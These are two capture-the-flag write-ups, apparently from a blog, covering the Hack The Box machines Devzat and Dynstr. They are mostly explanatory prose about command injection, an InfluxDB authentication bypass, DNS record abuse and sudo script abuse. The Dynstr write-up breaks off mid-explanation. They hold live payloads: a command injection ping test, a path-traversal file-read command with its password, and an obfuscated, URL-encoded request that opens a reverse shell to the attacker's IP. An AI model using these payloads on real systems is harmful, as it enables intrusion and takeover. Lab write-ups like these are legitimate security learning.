Devzat was an intermediate machine from HTB, developed by c1sc0. This was a pretty straightforward box, which reused a lot of the exploit vectors, which I really dig.
The initial foothold had us exploiting an OS command injection vulnerability in an API endpoint. Once we had a shell, then we can exploit the internal services.
Then I exploited an authentication bypass vulnerability in Influx DB to gain the first privilege escalation to user catherine. Then I exploited the development version of the devzat chat application by exploiting the file opening function to escalate myself as root.
Let me elaborate on how I solved this box.
Exploitation
Nmap returned the following results.
Nmap scan report for 10.10.11.118
Host is up (0.050s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
| 256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
|_ 256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://devzat.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
8000/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-Go
| ssh-hostkey:
|_ 3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.92%I=7%D=12/11%Time=61B48837%P=x86_64-pc-linux-gnu%r(N
SF:ULL,C,"SSH-2\.0-Go\r\n");
Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
With gobustervhost enumeration, I’ve found another subdomain.
So, I visited the site and it showed me the following webpage.
It was a website where we could add pets.
We could specify a name in a text box, select the species from a drop down and it will add the name to the above table. It will also generate a description according to the selected species.
This means that some sort of dynamic processing is being done to the webpage.
With some source code analysis and web page’s traffic enumeration, I’ve found that there’s an /api/pet endpoint to update the pets.
I then tried to send invalid species name and observed the output.
Sending Invalid species value
The output to invalid data
There was an exit status with error code 1, which reminded me of bash commands. Also, when sending backticks (`), there was NO OUTPUT at all!
So, I tested this output for OS command execution, by sending the following payload.
; ping -c 4 10.10.14.9;
And started tcpdump .
And I got a ping back!
After OS command injection is confirmed, I then upgraded it to a reverse shell.
This OS command injection happens because, the script passes user controllable data, directly to exec.command function.
Privilege Escalation to Catherine
With local enumeration, I’ve found some things.
There’s a local development version of devzat (The SSH chat application) running in port 8443.
There’s an instance of InfluxDB running at port 8086.
We can login as patrick using patrick‘s SSH secret key.
Also, there’s source code of the development version of devzat app on /var/backups.
I searched for exploits for InfluxDB and found one. It was CVE-2019-20933 , an authentication bypass vulnerability in InfluxDB. So, I forwarded the port 8086 using SSH and used the script to login to the InfluxDB instance.
The exploit had some dependencies. So, I created a python virtual environment and installed the dependencies.
I then tested the usernames patrick and admin. The exploit was succesful using admin.
Running the InfluxDB exploit
I selected the database devzat.
Then I used show mesurements; to view the key value pairs in the database. InfluxDB is a time series database and it stores data differently than traditional databases.
The value is user. Which is kind of equal to table name in traditional database.
So, my next query is to view the data. I used select * from "user"; to view the data.
And I got the password of user catherine in plaintext.
The password was woBeeYareedahc7Oogeephies7Aiseci.
But, I couldn’t login as catherine via SSH using this password, since SSH didn’t had password authentication set up.
So, inside the SSH session of patrick, I used su to become catherine.
Privilege Escalation to Root
Once I was in as catherine, I checked the backup files in /var/backups.
I found that there’s a new functionality added to devzat-dev version running at port 8443, that allows us to read files inside the /root/devzat directory.
It was also protected using a hardcoded password.
So, I exploited the functionality to read the SSH key using the following payload.
/file ../.ssh/id_rsa CeilingCatStillAThingIn2021?
And I was in as root!
w00t!
Postlude
And that was devzat!
This was a good learning experience for me and thankyou to kavigihan for nudging me when I was stuck.
Dynstr is an intermediate box from Hack The Box, developed by jkr. This is an excellent machine and this machine taught me new things like API fuzzing and re-taught me the basics of DNS and some cool DNS tools.
This machine required the player to fuzz a dynamic DNS update API and gain Remote Code Execution that way.
Once the initial foothold is gained, we’ll find two things. A public key from an strace output and that the SSH is only allowed from certain domains .
Once we find the means to update the desired DNS record, we can login as the user via SSH using the private key we obtained earlier. For the privilege escalation, we have to exploit the bash script that can be run as sudo.
Let’s start the exploitation.
Exploitation
As usual I started the exploitation with an Nmap scan.
# Nmap 7.91 scan initiated Mon Jul 12 21:39:15 2021 as: /usr/bin/nmap -sCV -v -oN tcp 10.10.10.244
Nmap scan report for 10.10.10.244
Host is up (0.055s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
| 256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
|_ 256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Three ports are open.
The unusual port here is the port 53 running ISC BIND service, which is a DNS service.
I started the enumeration with port 80.
I Navigated to http://10.10.10.244/ and found the following website.
In the same webpage, there were some hostnames and a shared credential provided to use the DDNS service.
Another interesting thing is that this page mentions that they use no-ip API for dynamic DNS update.
There’s also a hostname leak from the contact us email id.
I then started a gobuster scan and found the following directories.
Pretty standard directory listing except for the /nic directory.
So, I googled for No-IP API and found the syntax for updating dynamic DNS using the No-IP API. Link
So I send a request to test if it is indeed an API running at the target, using the following command.
I used the shared credentials given in the web page.
curl http://dynadns:sndanyd@dyna.htb/nic/update
And the API responded with nochg, as mentioned in the No-IP API documentation. So, I was confident that this is the NO-IP API to dynamically update the DNS records.
I’ve also found ways to update the IP address of the hostnames provided in the website. However, I couldn’t update the IP address of the hostname dyna.htb, as it returned error.
This is where I was stuck initially. I thought that I had to change the IP address of some domain, listen for incoming requests intended for the domains and capture the credentials using responder or something like that. But, that wasn’t the case.
Then I thought that I had to exploit some CVE in No-IP API. So, I began googling NO-IP vulnerabilities and exploits, but with no success.
They both were rabbitholes.
Fuzzing the API and gaining RCE
After being stuck for quite some time and getting some nudge from peers, I started to fuzz the parameters of the requests towards the API and found that the API behaves differently when some special characters are passed to the hostname parameter.
Then I tried to upgrade this RCE to a reverse shell. But, there was a slight problem.
Since this is a GET request, I can’t specify the IP address as dots (.) in the reverse shell payload as it would be a bad character and it will break my payload.
So, I decided to base64 encode my payload before URL encoding it to safely pass my payload to the target.
GET /nic/update?hostname="%60%65%63%68%6f%20%2d%6e%20%63%6d%30%67%4c%33%52%74%63%43%39%6d%4f%32%31%72%5a%6d%6c%6d%62%79%41%76%64%47%31%77%4c%32%59%37%59%32%46%30%49%43%39%30%62%58%41%76%5a%6e%78%7a%61%43%41%74%61%53%41%79%50%69%59%78%66%47%35%6a%49%44%45%77%4c%6a%45%77%4c%6a%45%30%4c%6a%4d%34%49%44%6b%77%4d%44%45%67%50%69%39%30%62%58%41%76%5a%67%3d%3d%7c%62%61%73%65%36%34%20%2d%64%20%7c%62%61%73%68%60test.dnsalias%2ehtb&myip=10.10.14.38 HTTP/1.1
Host: dyna.htb
Authorization: Basic ZHluYWRuczpzbmRhbnlk
User-Agent: curl/7.74.0
Accept: */*
Connection: close
And I got a shell back as www-data !
Privilege Escalation to User
Once we are in as www-data we can see that the home directory of user bindmgr is publicly accessible and we can see some interesting things in the directory.
The first thing that I found interesting is that we can read the /home/bindmgr/.ssh/authorized_keys file and in the file, it says that connection is only allowed from subdomains of infra.dyna.htb.
So, first we have to update the DNS record to something.infra.dyna.htb to our IP address to gain access to SSH.
Another interesting thing is inside a support directory inside bindmgr‘s home directory, which contains an strace output, where the SSH private key of bindmgr is present.
So, I saved the private key file into my machine.
Now I needed to find how to update the hostname to my IP address.
Finding the TSIG key
I found the PHP script used to update /var/www/html/nic/update and it showed that the DNS record was updated using nsupdate command; a utility used to update DNS records dynamically.
Code block in update, that updates the DNS record+
In the code block, we can see that a file named ddns.key located at /etc/bind is passed as a parameter to nslookup along with the DNS record updates.
This is a TSIG (Transaction SIGnature) key, which is a cryptographic secret that authenticates DNS update requests.
The keys are defined in Bind’s configuration, which is located at /etc/bind/named.conf.
Opening /etc/bind/named.conf showed the following contents.
So, I looked at /etc/bind/named.conf.local and found the following information.
Contents of named.conf.local
In the /etc/bind/named.conf.local file, we can see that to update the hostnames under the zone dyna.htb, we need the aptly named TSIG key infra.key.
I checked the file permissions and sure enough we can read the file /etc/bind/infra.key.
Now that we know how to perform the DNS record update, let’s update it.
What we need to do is that we need to choose a subdomain under infra.dyna.htb and update the PTR record of the selected subdomain with our IP address. Here, I am selecting the subdomain test. infra.dyna.htb
We are selecting the PTR record because SSH will be performing reverse lookup of the connecting IP address to determine the hostname validity.
So if the reverse lookup fails, then SSH will not allow the connection.
I actually stumbled on here for some time, as for some reason my stressed out brain decided to update the A record instead of PTR record. But with some help from peers, I was able to solve the issue and went back on track.
Updating DNS Record to match the SSH config
The syntax to update the PTR record in nsupdate is as follows.
I tested the DNS change by performing an nslookup in the target.
But why the .in-addr.arpa part?
If you are unfamiliar with PTR records, you might be wondering what is the reversed IP address with the .in-addr.arpa hostname. You might’ve atleast seen this type of hostnames when doing a traceroute.
This is because the PTR record is added in a special way into the DNS records.
Reverse DNS lookups for IPv4 addresses use the special domain .in-addr.arpa. If we want to perform a reverse lookup of an IP address, we have to reverse the IP address, append the result with the hostname .in-addr.arpa and lookup the PTR record of the hostname. (For IPv6, the special hostname is ip6.arpa)
I’ll explain this with an example.
Say we want to lookup the hostname of the IP address 8.8.4.4 (Google DNS). Then we have to lookup the PTR record of the hostname 4.4.8.8.in-addr.arpa.
We can check the PTR record of an IP address using dig using the following command.
dig -x 8.8.4.4
Result of dig reverse lookup
From the reverse lookup, we can see that the hostname is dns.google and it is stored against the hostname 4.4.8.8.in-addr.arpa.
Now that the theory part is resolved, let’s get back to the exploitation.
SSH-ing as bindmgr and Privilege Escalation
Now that the PTR record is configured, let’s SSH into bindmgr using the private key we saved earlier from the strace output found in bindmgr‘s home directory.
ssh -i id_rsa bindmgr@10.10.10.244
And I was in as bindmgr!
Once I was in, I issued sudo -l and found that the user bindmgr can run a bash script /usr/local/bin/bindmgr.sh as root, without providing password.
So, I looked at the script bindmgr.sh.
The script runs as a workaround to include multiple configuration files into bind’s named.conf.local file.
The script first checks for a file .version in the current working directory and compares it with the file /etc/bind/named.bindmgr/.version and if the current working directory contains a larger number, then it copies all of the files in the present working directory to /etc/bind/named.bindmgr/ .
Then it will create a file /etc/bind/named.conf.bindmgr to include all files in /etc/bind/named.bindmgr/.
I looked at the documentation of BIND server to see that if there’s anyway that we could obtain code execution using the configuration file directives and found a way.
Bind server can include custom plugins, which is in the C shared library (.so) format.
The documentation mentioned the plugin need four functions named:
plugin_register
plugin_destroy
plugin_version
plugin_check
So, I created a C file named plugin.c with those functions and filled the function with reverse shell payload obtained from here.